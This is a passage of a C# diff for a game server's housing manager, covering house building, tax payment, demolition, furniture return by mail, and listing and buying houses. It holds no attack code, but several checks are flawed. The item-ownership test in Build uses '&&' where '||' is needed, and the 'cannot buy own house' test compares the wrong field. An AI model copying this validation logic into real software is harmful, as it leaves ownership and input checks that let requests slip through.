+        public void Build(GameConnection connection, uint designId, float posX, float posY, float posZ, float zRot,
+            ulong itemId, int moneyAmount, int ht, bool autoUseAaPoint)
+        {
+            // TODO validate house by range...
+            // TODO remove itemId
+            // TODO minus moneyAmount
+
+            var sourceDesignItem = connection.ActiveChar.Inventory.GetItemById(itemId);
+            if ((sourceDesignItem == null) && (sourceDesignItem.OwnerId != connection.ActiveChar.Id))
+            {
+                // Invalid itemId supplied or the id is not owned by the user
+                connection.ActiveChar.SendErrorMessage(ErrorMessageType.BagInvalidItem);
+                return;
+            }
+
+
+            var zoneId = WorldManager.Instance.GetZoneId(connection.ActiveChar.Transform.WorldId, posX, posY);
+
+            var houseTemplate = _housingTemplates[designId];
+            CalculateBuildingTaxInfo(connection.ActiveChar.AccountId, houseTemplate, true, out var totalTaxAmountDue, out var heavyTaxHouseCount, out var normalTaxHouseCount, out var hostileTaxRate, out _);
+
+            if (FeaturesManager.Fsets.Check(Models.Game.Features.Feature.taxItem))
+            {
+                // Pay in Tax Certificate
+
+                var userTaxCount = connection.ActiveChar.Inventory.GetItemsCount(SlotType.Inventory, Item.TaxCertificate);
+                var userBoundTaxCount = connection.ActiveChar.Inventory.GetItemsCount(SlotType.Inventory, Item.BoundTaxCertificate);
+                var totalUserTaxCount = userTaxCount + userBoundTaxCount;
+                var totalCertsCost = (int)Math.Ceiling(totalTaxAmountDue / 10000f);
+
+                // Alloyingly complex item consumption, maybe we need a seperate function in inventory to handle this kind of thing
+                var consumedCerts = totalCertsCost;
+                if (totalCertsCost > totalUserTaxCount)
+                {
+                    connection.ActiveChar.SendErrorMessage(ErrorMessageType.MailNotEnoughMoneyToPayTaxes);
+                    return;
+                }
+                else
+                {
+                    var c = consumedCerts;
+                    // Use Bound First
+                    if ((userBoundTaxCount > 0) && (c > 0))
+                    {
+                        if (c > userBoundTaxCount)
+                            c = userBoundTaxCount;
+                        connection.ActiveChar.Inventory.Bag.ConsumeItem(Models.Game.Items.Actions.ItemTaskType.HouseCreation, Item.BoundTaxCertificate, c, null);
+                        consumedCerts -= c;
+                    }
+                    c = consumedCerts;
+                    if ((userTaxCount > 0) && (c > 0))
+                    {
+                        if (c > userTaxCount)
+                            c = userTaxCount;
+                        connection.ActiveChar.Inventory.Bag.ConsumeItem(Models.Game.Items.Actions.ItemTaskType.HouseCreation, Item.TaxCertificate, c, null);
+                        consumedCerts -= c;
+                    }
+
+                    if (consumedCerts != 0)
+                        _log.Error("Something went wrong when paying tax for new building for player {0}", connection.ActiveChar.Name);
+                }
+
+            }
+            else
+            {
+                // Pay in Gold
+                // TODO: test house with actual gold tax
+                if (totalTaxAmountDue > connection.ActiveChar.Money)
+                {
+                    connection.ActiveChar.SendErrorMessage(ErrorMessageType.MailNotEnoughMoneyToPayTaxes);
+                    return;
+                }
+                connection.ActiveChar.SubtractMoney(SlotType.Inventory, totalTaxAmountDue, Models.Game.Items.Actions.ItemTaskType.HouseCreation);
+            }
+
+
+            if (connection.ActiveChar.Inventory.Bag.ConsumeItem(Models.Game.Items.Actions.ItemTaskType.HouseBuilding, sourceDesignItem.TemplateId, 1, sourceDesignItem) <= 0)
+            {
+                connection.ActiveChar.SendErrorMessage(ErrorMessageType.BagInvalidItem);
+                return;
+            }
+
+            // Spawn the actual house
+            var house = Create(designId, connection.ActiveChar.Faction.Id);
+
+            // Fallback for un-translated buildings (en_us)
+            if (house.Name == string.Empty)
+            {
+                var fakeLocalizedName = LocalizationManager.Instance.Get("items", "name", sourceDesignItem.Template.Id, houseTemplate.Name);
+                if (fakeLocalizedName.EndsWith(" Design"))
+                    fakeLocalizedName = fakeLocalizedName.Replace(" Design", "");
+                house.Name = fakeLocalizedName;
+            }
+
+            house.Id = HousingIdManager.Instance.GetNextId();
+            house.Transform = new Transform(house, null, 1, zoneId, 1, posX, posY, posZ, zRot);
+
+            if (house.Template.BuildSteps.Count > 0)
+                house.CurrentStep = 0;
+            else
+                house.CurrentStep = -1;
+            house.OwnerId = connection.ActiveChar.Id;
+            house.CoOwnerId = connection.ActiveChar.Id;
+            house.AccountId = connection.AccountId;
+            house.Permission = HousingPermission.Private;
+            house.PlaceDate = DateTime.UtcNow;
+            house.ProtectionEndDate = DateTime.UtcNow.AddDays(7);
+            _houses.Add(house.Id, house);
+            _housesTl.Add(house.TlId, house);
+            connection.ActiveChar.SendPacket(new SCMyHousePacket(house));
+            house.Spawn();
+            UpdateTaxInfo(house);
+        }
+
+        /// <summary>
+        /// Update house permission settings
+        /// </summary>
+        /// <param name="connection"></param>
+        /// <param name="tlId"></param>
+        /// <param name="permission"></param>
+        public void ChangeHousePermission(GameConnection connection, ushort tlId, HousingPermission permission)
+        {
+            if (!_housesTl.ContainsKey(tlId))
+                return;
+            var house = _housesTl[tlId];
+            if (house.OwnerId != connection.ActiveChar.Id)
+                return;
+
+            switch (permission)
+            {
+                case HousingPermission.Guild when connection.ActiveChar.Expedition == null:
+                case HousingPermission.Family when connection.ActiveChar.Family == 0:
+                    return;
+                case HousingPermission.Guild:
+                    house.CoOwnerId = connection.ActiveChar.Expedition.Id;
+                    break;
+                case HousingPermission.Family:
+                    house.CoOwnerId = connection.ActiveChar.Family;
+                    break;
+                default:
+                    house.CoOwnerId = connection.ActiveChar.Id;
+                    break;
+            }
+
+            house.Permission = permission;
+            house.BroadcastPacket(new SCHousePermissionChangedPacket(tlId, (byte)permission), false);
+            // connection.SendPacket(new SCHousePermissionChangedPacket(tlId, (byte)permission));
+        }
+
+        /// <summary>
+        /// Rename house
+        /// </summary>
+        /// <param name="connection"></param>
+        /// <param name="tlId"></param>
+        /// <param name="name"></param>
+        public void ChangeHouseName(GameConnection connection, ushort tlId, string name)
+        {
+            if (!_housesTl.ContainsKey(tlId))
+                return;
+            var house = _housesTl[tlId];
+            if (house.OwnerId != connection.ActiveChar.Id)
+                return;
+
+            house.Name = name.Substring(0, 1).ToUpper() + name.Substring(1);
+            house.IsDirty = true; // Manually set the IsDirty on House level
+            connection.SendPacket(new SCUnitNameChangedPacket(house.ObjId, house.Name));
+        }
+
+        /// <summary>
+        /// Start demolishing of a house
+        /// </summary>
+        /// <param name="connection"></param>
+        /// <param name="house"></param>
+        /// <param name="failedToPayTax"></param>
+        /// <param name="forceRestoreAllDecor"></param>
+        public void Demolish(GameConnection connection, House house, bool failedToPayTax, bool forceRestoreAllDecor)
+        {
+            if (!_houses.ContainsKey(house.Id))
+            {
+                connection?.ActiveChar?.SendErrorMessage(ErrorMessageType.InvalidHouseInfo);
+                return;
+            }
+            // Check if owner
+            if ((connection == null) || (house.OwnerId == connection.ActiveChar.Id))
+            {
+                // VERIFY: check if tax payed, cannot manually demolish or sell a house with unpaid taxes ?
+                // Note - ZeromusXYZ: I'm disabling this "feature", as it would prevent you from demolishing freshly placed buildings that you want to move 
+                /*
+                if (house.TaxDueDate <= DateTime.UtcNow)
+                {
+                    connection.ActiveChar.SendErrorMessage(ErrorMessageType.HouseCannotDemolishUnpaidTax);
+                    return;
+                }
+                */
+                var ownerChar = WorldManager.Instance.GetCharacterById(house.OwnerId);
+
+                // Mark it as expired protection
+                house.ProtectionEndDate = DateTime.UtcNow.AddSeconds(-1);
+                // Make sure to call UpdateTaxInfo first to remove tax-rated mails of this house
+                UpdateTaxInfo(house);
+                // Return items to player by mail
+                ReturnHouseItemsToOwner(house, failedToPayTax, forceRestoreAllDecor, null);
+
+                // Remove owner
+                house.OwnerId = 0;
+                house.CoOwnerId = 0;
+                house.AccountId = 0;
+                house.SellPrice = 0;
+                house.SellToPlayerId = 0;
+                house.Permission = HousingPermission.Public;
+                house.BroadcastPacket(new SCHouseDemolishedPacket(house.TlId), false);
+
+                ownerChar?.SendPacket(new SCMyHouseRemovedPacket(house.TlId));
+                // Make killable
+                UpdateHouseFaction(house, (uint)FactionsEnum.Monstrosity);
+                
+                SetForSaleMarkers(house, false);
+                
+                house.IsDirty = true;
+
+                // TODO: better house killing handling
+                _removedHousings.Add(house.Id);
+            }
+            else
+            {
+                // Non-owner should not be able to press demolish
+                connection?.ActiveChar?.SendErrorMessage(ErrorMessageType.InvalidHouseInfo);
+                return;
+            }
+        }
+
+        public void RemoveDeadHouse(House house)
+        {
+            // Remove house from housing tables
+            _removedHousings.Add(house.Id);
+            _houses.Remove(house.Id);
+            _housesTl.Remove(house.TlId);
+            HousingTldManager.Instance.ReleaseId(house.TlId);
+            HousingIdManager.Instance.ReleaseId(house.Id);
+            // TODO: not sure how to handle this, just insta-delete it for now
+            house.Delete();
+            // TODO: Add to despawn handler
+            //house.Despawn = DateTime.UtcNow.AddSeconds(20);
+            //SpawnManager.Instance.AddDespawn(house);
+        }
+
+        /// <summary>
+        /// Helper function to calculate due tax
+        /// </summary>
+        /// <param name="AccountId"></param>
+        /// <param name="newHouseTemplate"></param>
+        /// <param name="buildingNewHouse"></param>
+        /// <param name="totalTaxToPay"></param>
+        /// <param name="heavyHouseCount"></param>
+        /// <param name="normalHouseCount"></param>
+        /// <param name="hostileTaxRate"></param>
+        /// <param name="oneWeekTaxCount"></param>
+        /// <returns></returns>
+        public bool CalculateBuildingTaxInfo(uint AccountId, HousingTemplate newHouseTemplate, bool buildingNewHouse, out int totalTaxToPay, out int heavyHouseCount, out int normalHouseCount, out int hostileTaxRate, out int oneWeekTaxCount)
+        {
+            totalTaxToPay = 0;
+            heavyHouseCount = 0;
+            normalHouseCount = 0;
+            hostileTaxRate = 0; // NOTE: When castles are added, this needs to be updated depending on ruling guild's settings
+            oneWeekTaxCount = 0;
+
+            Dictionary<uint, House> userHouses = new Dictionary<uint, House>();
+            if (GetByAccountId(userHouses, AccountId) <= 0)
+                return false;
+
+            // Count the houses on this account
+            foreach (var h in userHouses)
+            {
+                if (h.Value.Template.HeavyTax)
+                    heavyHouseCount++;
+                else
+                    normalHouseCount++;
+            }
+
+            // If this is for a new building, add 1 to count
+            if (buildingNewHouse)
+            {
+                if (newHouseTemplate.HeavyTax)
+                    heavyHouseCount++;
+                else
+                    normalHouseCount++;
+            }
+
+            // Default Heavy Tax formula for 1.2
+            var taxMultiplier = (heavyHouseCount < MAX_HEAVY_TAX_COUNTED ? heavyHouseCount : MAX_HEAVY_TAX_COUNTED) * 0.5f;
+            // If less than 3 properties, or not a heavy tax property, no extra multiplier needed
+            if ((heavyHouseCount < 3) || (newHouseTemplate.HeavyTax == false))
+                taxMultiplier = 1f;
+
+            totalTaxToPay = oneWeekTaxCount = (int)Math.Ceiling(newHouseTemplate.Taxation.Tax * taxMultiplier);
+
+            // If this is a new house, add the deposit (base tax * 2)
+            if (buildingNewHouse)
+                totalTaxToPay += (int)(newHouseTemplate.Taxation.Tax * 2);
+
+            return true;
+        }
+
+        /// <summary>
+        /// This function updates related tax mails of a house (if needed)
+        /// </summary>
+        /// <param name="house"></param>
+        public void UpdateTaxInfo(House house)
+        {
+            var isDemolished = (house.ProtectionEndDate <= DateTime.UtcNow);
+            var isTaxDue = (house.TaxDueDate <= DateTime.UtcNow);
+
+            // Update Buffs (if needed)
+            SetUntouchable(house, !isDemolished);
+            SetRemovalDebuff(house, isDemolished);
+
+            if (house.OwnerId <= 0)
+                return;
+
+            // If expired, start demolition debuffs
+            if (isDemolished)
+            {
+                MailManager.Instance.DeleteHouseMails(house.Id);
+            }
+            else
+            if (isTaxDue)
+            {
+                // TODO: update corresponding mails if needed (like update weeks unpaid etc)
+                var allMails = MailManager.Instance.GetMyHouseMails(house.Id);
+
+                if (allMails.Count <= 0)
+                {
+                    // Create new tax mail
+                    var newMail = new MailForTax(house);
+                    newMail.FinalizeMail();
+                    newMail.Send();
+                    _log.Trace("New Tax Mail sent for {0} owned by {1}", house.Name, house.OwnerId);
+                }
+                else
+                {
+                    foreach (var mail in allMails)
+                    {
+                        MailForTax.UpdateTaxInfo(mail, house);
+                        _log.Trace("Tax Mail {0} updated for {1} ({2}) owned by {3}", mail.Id, house.Name, house.Id,
+                            house.OwnerId);
+                    }
+                }
+
+            }
+        }
+
+        /// <summary>
+        /// Adds a week to the protection end date (pay 1 week's tax)
+        /// </summary>
+        /// <param name="house"></param>
+        /// <returns></returns>
+        public bool PayWeeklyTax(House house)
+        {
+            house.ProtectionEndDate = house.ProtectionEndDate.AddDays(7);
+            return true;
+        }
+
+        public House GetHouseById(uint houseId)
+        {
+            return _houses.TryGetValue(houseId, out var house) ? house : null;
+        }
+
+        public House GetHouseByTlId(ushort houseTlId)
+        {
+            return _housesTl.TryGetValue(houseTlId, out var house) ? house : null;
+        }
+
+        /// <summary>
+        /// Changes the faction of the house
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="factionId"></param>
+        public void UpdateHouseFaction(House house, uint factionId)
+        {
+            house.BroadcastPacket(new SCUnitFactionChangedPacket(house.ObjId, house.Name, house.Faction?.Id ?? 0, factionId, false), true);
+            house.Faction = FactionManager.Instance.GetFaction(factionId);
+        }
+
+        /// <summary>
+        /// Helper function for when the owning character changes faction
+        /// </summary>
+        /// <param name="characterId"></param>
+        /// <param name="factionId"></param>
+        public void UpdateOwnedHousingFaction(uint characterId, uint factionId)
+        {
+            var myHouses = new Dictionary<uint, House>();
+            GetByCharacterId(myHouses, characterId);
+            foreach (var h in myHouses)
+                if ((h.Value.Faction == null) || (h.Value.Faction.Id != factionId))
+                    UpdateHouseFaction(h.Value, factionId);
+        }
+
+        /// <summary>
+        /// Returns furniture of a house that's being demolished or sold
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="failedToPayTax">Set true if demilishing due to failed tax, this adds a delay to the mail</param>
+        /// <param name="forceRestoreAllDecor">For GM commands or server merges. Will try to send ALL placed furniture if set to true, even those that normally don't get returned.</param>
+        /// <param name="newOwner">New owner Character if buying, otherwise leave null</param>
+        public void ReturnHouseItemsToOwner(House house, bool failedToPayTax, bool forceRestoreAllDecor, Character newOwner)
+        {
+            if (house.OwnerId <= 0)
+                return;
+
+            var returnedItems = new List<Item>();
+            var returnedMoney = 0;
+
+            // If returning items because of a new House Owner, then don't include the design
+            if (newOwner == null)
+            {
+                // TODO: proper grades for design
+                // TODO for future versions: Support Full-Kit demolition
+                var designItemId = GetItemIdByDesign(house.Template.Id);
+                var designItem = ItemManager.Instance.Create(designItemId, 1, 0);
+                var designTemplate = ItemManager.Instance.GetTemplate(designItemId);
+                designItem.Grade = (designTemplate.FixedGrade >= 0) ? (byte)designTemplate.FixedGrade : (byte)0 ;
+                designItem.OwnerId = house.OwnerId;
+                designItem.SlotType = SlotType.Mail;
+                returnedItems.Add(designItem);
+
+                // Return taxes
+                if (!failedToPayTax)
+                {
+                    if (FeaturesManager.Fsets.Check(Models.Game.Features.Feature.taxItem))
+                    {
+                        var taxItem = ItemManager.Instance.Create(Item.BoundTaxCertificate, (int)(house.Template.Taxation.Tax / 5000), 0);
+                        taxItem.OwnerId = house.OwnerId;
+                        taxItem.SlotType = SlotType.Mail;
+                        returnedItems.Add(taxItem);
+                    }
+                    else
+                    {
+                        returnedMoney = (int)(house.Template.Taxation.Tax * 2);
+                    }
+                }
+            }
+
+            var furniture = WorldManager.Instance.GetDoodadByHouseDbId(house.Id);
+            foreach (var f in furniture)
+            {
+                // Ignore attached objects (those are doors/windows etc)
+                if (f.AttachPoint != AttachPointKind.None)
+                    continue;
+                
+                // Ignore for sale signs
+                if (f.TemplateId == ForSaleMarkerDoodadId)
+                    continue;
+
+                var decoDesign = GetDecorationDesignFromDoodadId(f.TemplateId);
+                if (decoDesign == null)
+                {
+                    // Is not furniture, probably plants or backpacks
+                    f.Transform.DetachAll();
+                    f.ParentObjId = 0;
+                    f.ParentObj = null;
+                    f.DbHouseId = 0;
+                    // TODO: probably needs to send a packet as well here
+                    continue;
+                }
+
+                var decoInfo = _housingItemHousingDecorations.FirstOrDefault(x => x.DesignId == decoDesign.Id);
+                if (decoInfo == null)
+                {
+                    // No design info for this item ? Just detach it for now
+                    f.Transform.DetachAll();
+                    f.ParentObjId = 0;
+                    f.ParentObj = null;
+                    f.DbHouseId = 0;
+                    _log.Warn("ReturnHouseItemsToOwner - Furniture doesn't have design info for Doodad Id:{0} Template:{1}", f.ObjId, f.TemplateId);
+                    continue;
+                }
+
+                var thisDoodadsItem = ItemManager.Instance.GetItemByItemId(f.ItemId);
+                var returnedThisItem = false;
+
+                var wantReturned = (newOwner == null) && decoInfo.Restore;
+                if (forceRestoreAllDecor)
+                    wantReturned = true;
+                
+                // If item is bound, always return it owner
+                if (f.ItemId > 0)
+                {
+                    var item = ItemManager.Instance.GetItemByItemId(f.ItemId);
+                    if (item.ItemFlags.HasFlag(ItemFlag.SoulBound))
+                        wantReturned = true;
+                }
+
+                // If the decoration item isn't marked as Restore, then just delete it (and it's possibly attached item)
+                if (!wantReturned)
+                {
+                    // Non-restore-able item
+                    if (newOwner == null)
+                    {
+                        // Just delete the doodad and attached item if no new owner
+                        // Delete the attached item
+                        if (f.ItemId != 0)
+                            thisDoodadsItem._holdingContainer?.ConsumeItem(ItemTaskType.Invalid,
+                                thisDoodadsItem.TemplateId, thisDoodadsItem.Count, thisDoodadsItem);
+
+                        // Is furniture, but doesn't restore, destroy it
+                        f.Transform.DetachAll();
+                        f.Delete();
+                    }
+                    else
+                    {
+                        // Move the doodad and item to the new owner
+                        if (f.ItemId != 0)
+                        {
+                            // If a single item is attached, change it's owner and location
+                            var item = ItemManager.Instance.GetItemByItemId(f.ItemId);
+                            newOwner.Inventory.SystemContainer.AddOrMoveExistingItem(ItemTaskType.Invalid, item);
+                        }
+                        // Change doodad owner
+                        f.OwnerId = newOwner.Id;
+                    }
+
+                    continue;
+                }
+                
+                // Item needs to be actually returned, so let's do that
+                if (f.ItemId > 0)
+                {
+                    // Ignore if it's not in a System container for whatever reason
+                    if ((thisDoodadsItem != null) && (thisDoodadsItem.SlotType == SlotType.System))
+                    {
+                        returnedItems.Add(thisDoodadsItem);
+                        returnedThisItem = true;
+                    }
+                }
+                else
+                if (f.ItemTemplateId > 0)
+                {
+                    // try to stack stackable items
+                    var oldItem = returnedItems.FirstOrDefault(x => (x.TemplateId == f.ItemTemplateId) && (x.Count < x.Template.MaxCount));
+
+                    if (oldItem != null)
+                    {
+                        oldItem.Count++;
+                    }
+                    else
+                    {
+                        // It's a new one, add a item slot
+                        var furnitureItem = ItemManager.Instance.Create(f.ItemTemplateId, 1, 0);
+                        var furnitureTemplate = ItemManager.Instance.GetTemplate(f.ItemTemplateId);
+                        furnitureItem.Grade = (furnitureTemplate.FixedGrade >= 0) ? (byte)furnitureTemplate.FixedGrade : (byte)0 ;
+                        furnitureItem.OwnerId = house.OwnerId;
+                        furnitureItem.SlotType = SlotType.Mail;
+                        returnedItems.Add(furnitureItem);
+                    }
+                    returnedThisItem = true;
+                }
+                else
+                {
+                    // Not sure what happened here, just ignore it
+                    continue;
+                }
+
+                // Set new doodad owner if needed
+                if (newOwner != null)
+                    f.OwnerId = newOwner.Id;
+
+                if ((newOwner == null) || returnedThisItem)
+                {
+                    f.Transform.DetachAll();
+                    f.Delete();
+                }
+            }
+
+            // TODO: Grab a list of items in chests
+
+            // TODO: Proper Mail handler
+            BaseMail newMail = null;
+            for (var i = 0; i < returnedItems.Count; i++)
+            {
+                // Split items into mails of maximum 10 attachemnts
+                if ((i % 10) == 0)
+                {
+                    // TODO: proper mail handler
+                    newMail = new BaseMail();
+                    newMail.MailType = MailType.Demolish;
+                    newMail.ReceiverName = NameManager.Instance.GetCharacterName(house.OwnerId); // Doesn't seem like this needs to be set
+                    newMail.Header.ReceiverId = house.OwnerId;
+                    newMail.Header.SenderId = 0;
+                    newMail.Header.SenderName = ".houseDemolish";
+                    newMail.Title = "title";
+                    newMail.Body.Text = "body"; // Yes, that's indeed what it needs to be set to
+                    newMail.Body.SendDate = DateTime.UtcNow;
+                    if (failedToPayTax)
+                        newMail.Body.RecvDate = DateTime.UtcNow.AddHours(22);
+                    else
+                        newMail.Body.RecvDate = DateTime.UtcNow;
+                    newMail.Header.Extra = house.Id;
+                }
+                // Only attach money to first mail
+                if ((returnedMoney > 0) && (i == 0))
+                    newMail.AttachMoney(returnedMoney);
+
+                // If player is loaded in at the moment (which he/she should be anyway), directly manipulate the inventory
+                // If not, only change the container
+                var onlineOwner = WorldManager.Instance.GetCharacterById((uint)returnedItems[i].OwnerId);
+                if (onlineOwner != null)
+                    onlineOwner.Inventory.MailAttachments.AddOrMoveExistingItem(ItemTaskType.Invalid, returnedItems[i]);
+                else
+                    returnedItems[i].SlotType = SlotType.Mail;
+
+                // Attach item
+                newMail.Body.Attachments.Add(returnedItems[i]);
+
+                // Send on last or 10th item of the mail
+                if (((i % 10) == 9) || (i == returnedItems.Count - 1))
+                    newMail.Send();
+            }
+
+            if (newMail != null)
+            {
+                _log.Trace("Demolition mail sent to {0}", newMail.ReceiverName);
+            }
+        }
+
+        public uint GetDesignByItemId(uint itemId)
+        {
+            var design = _housingItemHousings.First(h => h.Item_Id == itemId);
+            return design?.Design_Id ?? 0;
+        }
+
+        public uint GetItemIdByDesign(uint designId)
+        {
+            var design = _housingItemHousings.First(h => h.Design_Id == designId);
+            return design?.Item_Id ?? 0;
+        }
+
+        /// <summary>
+        /// Helper function to calculate how many Appraisal Certificates are needed to sell a house at a given price
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="salePrice"></param>
+        /// <returns></returns>
+        public int CalculateSaleCertifcates(House house, uint salePrice)
+        {
+            // NOTE: In earlier AA, you need 1 appraisal certificate for every 100 gold of sales price
+            // TODO: In later versions, this depends on the building-type/size
+            var certAmount = (int)Math.Ceiling(salePrice / 1000000f);
+            if (certAmount < 1)
+                certAmount = 1;
+            return certAmount;
+        }
+
+        /// <summary>
+        /// Sets or removes For Sale Signs on the property
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="isForSale"></param>
+        private void SetForSaleMarkers(House house, bool isForSale)
+        {
+            if (isForSale)
+            {
+                for (int postId = 0; postId < 4; postId++)
+                {
+                    var xMultiplier = (postId % 2) == 0 ? -1 : 1f;
+                    var yMultiplier = (postId / 2) == 0 ? -1 : 1f;
+                    var zRot = ((135f + (90f * postId) % 360)).DegToRad(); 
+                    
+                    var doodad = DoodadManager.Instance.Create(0, ForSaleMarkerDoodadId);
+                    // location
+                    doodad.Transform.Local.SetPosition(
+                        (house.Template.GardenRadius * xMultiplier) + house.Transform.World.Position.X,
+                        (house.Template.GardenRadius * yMultiplier) + house.Transform.World.Position.Y,
+                        +house.Transform.World.Position.Z);
+                    // adjust height to the floor
+                    doodad.Transform.Local.SetHeight(WorldManager.Instance.GetHeight(doodad.Transform));
+                    doodad.Transform.Local.SetZRotation(zRot);
+                    doodad.ItemTemplateId = 0; // designId;
+                    doodad.ItemId = 0;
+                    doodad.OwnerId = 0;
+                    doodad.ParentObjId = 0;
+                    doodad.ParentObj = null;
+                    doodad.UccId = 0;
+                    doodad.AttachPoint = AttachPointKind.None;
+                    doodad.OwnerType = DoodadOwnerType.Housing;
+                    doodad.DbHouseId = house.Id;
+
+                    doodad.Spawn();
+                }
+                
+            }
+            else
+            {
+                // Get all doodads related to this house
+                var thisHouseSalePosts = WorldManager.Instance.GetDoodadByHouseDbId(house.Id);
+                for(var c = thisHouseSalePosts.Count-1 ; c >= 0; c--)
+                {
+                    var doodad = thisHouseSalePosts[c];
+                    // If it's a for sale sign, remove it
+                    if (doodad.TemplateId == ForSaleMarkerDoodadId)
+                    {
+                        house.AttachedDoodads.Remove(doodad);
+                        doodad.Delete();
+                    }
+                }
+            }
+        }
+        
+        public bool SetForSale(ushort houseTlId, uint price, uint buyerId, Character seller) =>
+            SetForSale(GetHouseByTlId(houseTlId), price, buyerId, seller);
+
+        /// <summary>
+        /// Puts up a house for sale
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="price"></param>
+        /// <param name="buyerId">Use CharacterId for selling to a specific person</param>
+        /// <param name="seller">Current owner of the property (needed to manipulate inventory)</param>
+        /// <returns></returns>
+        public bool SetForSale(House house, uint price, uint buyerId, Character seller)
+        {
+            if (house == null)
+                return false;
+
+            if (!house.Template.IsSellable)
+                return false;
+
+            // Check if buyer exists (we just check if the name exists)
+            var buyerName = NameManager.Instance.GetCharacterName(buyerId);
+            if ((buyerId != 0) && (buyerName == null))
+                return false;
+
+            if (buyerName == null)
+                buyerName = "";
+
+            // Using the GM command does not send the seller (uses null), and thus will not require certificates 
+            if (seller != null)
+            {
+                var certAmount = CalculateSaleCertifcates(house, price);
+                if (seller.Inventory.Bag.ConsumeItem(ItemTaskType.BuyHouse, Item.AppraisalCertificate, certAmount, null) != certAmount)
+                {
+                    seller.SendErrorMessage(ErrorMessageType.HouseCannotSellAsNotEnoughSeal);
+                    return false;
+                }
+            }
+
+            house.SellPrice = price;
+            house.SellToPlayerId = buyerId;
+
+            house.BroadcastPacket(new SCHouseSetForSalePacket(house.TlId, price, house.SellToPlayerId, buyerName, house.Name), false);
+            SetForSaleMarkers(house, true);
+            
+            return true;
+        }
+        
+        public bool CancelForSale(ushort houseTlId, bool returnCertificates = true) =>
+            CancelForSale(GetHouseByTlId(houseTlId),returnCertificates);
+
+        /// <summary>
+        /// Cancels a sale
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="returnCertificates"></param>
+        /// <returns></returns>
+        public bool CancelForSale(House house, bool returnCertificates = true)
+        {
+            if (house.SellPrice <= 0)
+                return true;
+            var certAmount = CalculateSaleCertifcates(house, house.SellPrice);
+            var owner = WorldManager.Instance.GetCharacterById(house.OwnerId);
+            
+            house.SellPrice = 0;
+            house.SellToPlayerId = 0;
+            // Can only return certificates if owner is online and is the one resetting the sale
+            if ((certAmount > 0) && (returnCertificates) && (owner != null))
+            {
+                if (owner.Inventory.MailAttachments.AcquireDefaultItemEx(ItemTaskType.Invalid,
+                    Item.AppraisalCertificate, certAmount, -1, out var addedItems, out _, 0))
+                {
+                    // Mail container is set up to never update existing items, so we can discard that result
+                    var mail = new BaseMail();
+                    mail.MailType = MailType.HousingSale;
+                    mail.Header.ReceiverId = house.OwnerId;
+                    mail.ReceiverName = NameManager.Instance.GetCharacterName(house.OwnerId);
+                    mail.Title = "title(" + ZoneManager.Instance.GetZoneByKey(house.Transform.ZoneId)?.GroupId.ToString() + ",'" + house.Name + "')";
+                    mail.Header.SenderName = ".houseSellCancel";
+                    mail.Body.Text = "body('" + house.Name + "', " + Item.AppraisalCertificate.ToString() + ", " + certAmount.ToString() + ")";
+                    mail.Body.Attachments.AddRange(addedItems);
+                    mail.Body.SendDate = DateTime.UtcNow;
+                    mail.Body.RecvDate = DateTime.UtcNow.AddMilliseconds(1);
+                    mail.Send();
+                }
+                else
+                {
+                    // Failed to create Appraisal certificate ?
+                    _log.Warn("CancelForSale - Failed to create Appraisal Certificates for mail");
+                    return false;
+                }
+            }
+
+            house.BroadcastPacket(new SCHouseResetForSalePacket(house.TlId, house.Name), false);
+            SetForSaleMarkers(house, false);
+
+            return true;
+        }
+
+        /// <summary>
+        /// Updates all furniture on the house to a new owner and broadcasts packets for it
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="characterId"></param>
+        /// <returns>The number of items that have their owner information updated</returns>
+        public uint UpdateFurnitureOwner(House house, uint characterId)
+        {
+            uint res = 0;
+            var furnitures = WorldManager.Instance.GetDoodadByHouseDbId(house.Id);
+            foreach (var furniture in furnitures)
+            {
+                if (furniture.AttachPoint != AttachPointKind.None)
+                    continue;
+                furniture.OwnerId = characterId;
+                furniture.BroadcastPacket(new SCDoodadOriginatorPacket(furniture.ObjId, characterId),true);
+                res++;
+            }
+            return res;
+        }
+
+        /// <summary>
+        /// Buys the house using money amount
+        /// </summary>
+        /// <param name="houseId"></param>
+        /// <param name="money"></param>
+        /// <param name="character"></param>
+        /// <returns>Returns true if successful</returns>
+        public bool BuyHouse(uint houseId, uint money, Character character)
+        {
+            var house = GetHouseById(houseId);
+
+            if (house == null)
+            {
+                // Invalid house
+                character.SendErrorMessage(ErrorMessageType.InvalidHouseInfo);
+                return false;
+            }
+
+            if (house.SellPrice <= 0)
+            {
+                // House wasn't for sale
+                character.SendErrorMessage(ErrorMessageType.HouseCannotBuyAsNotForSale);
+                return false;
+            }
+
+            if (house.SellPrice != money)
+            {
+                // House price changed
+                character.SendErrorMessage(ErrorMessageType.HouseCannotBuyAsSaleInfoChanged);
+                return false;
+            }
+
+            if ((house.SellToPlayerId != 0) && (house.SellToPlayerId != character.Id))
+            {
+                // Not a valid buyer
+                character.SendErrorMessage(ErrorMessageType.HouseCannotBuyAsNotDesignatedBuyer);
+                return false;
+            }
+
+            if (house.SellToPlayerId == character.Id)
+            {
+                // Cannot buy own building
+                character.SendErrorMessage(ErrorMessageType.HouseCannotBuyAsOwner);
+                return false;
+            }
+
+            // NOTE: check tax due maybe ?
+
+            if (!character.SubtractMoney(SlotType.Inventory, (int)house.SellPrice, ItemTaskType.BuyHouse))
+            {
+                // Not enough money
+                character.SendErrorMessage(ErrorMessageType.HouseCannotBuyAsNotEnoughMoney);
+                return false;
+            }
+
+            var previousOwner = house.OwnerId;
+            var previousOwnerName = NameManager.Instance.GetCharacterName(previousOwner);
+
+            // Mail confirmation mail to new owner
+            var newOwnerMail = new BaseMail();
+            newOwnerMail.MailType = MailType.HousingSale;
+            newOwnerMail.Header.ReceiverId = character.Id;
+            newOwnerMail.ReceiverName = character.Name;
+            newOwnerMail.Title = "title(" + ZoneManager.Instance.GetZoneByKey(house.Transform.ZoneId)?.GroupId.ToString() + ",'" + house.Name + "')";
+            newOwnerMail.Header.SenderName = ".houseBought";
+            newOwnerMail.Body.Text = "body('" + previousOwnerName + "', '" + house.Name + "', " + house.SellPrice.ToString() + ")";
+            newOwnerMail.Body.SendDate = DateTime.UtcNow;
+            newOwnerMail.Body.RecvDate = DateTime.UtcNow.AddMilliseconds(1);
+            newOwnerMail.Send();
+            
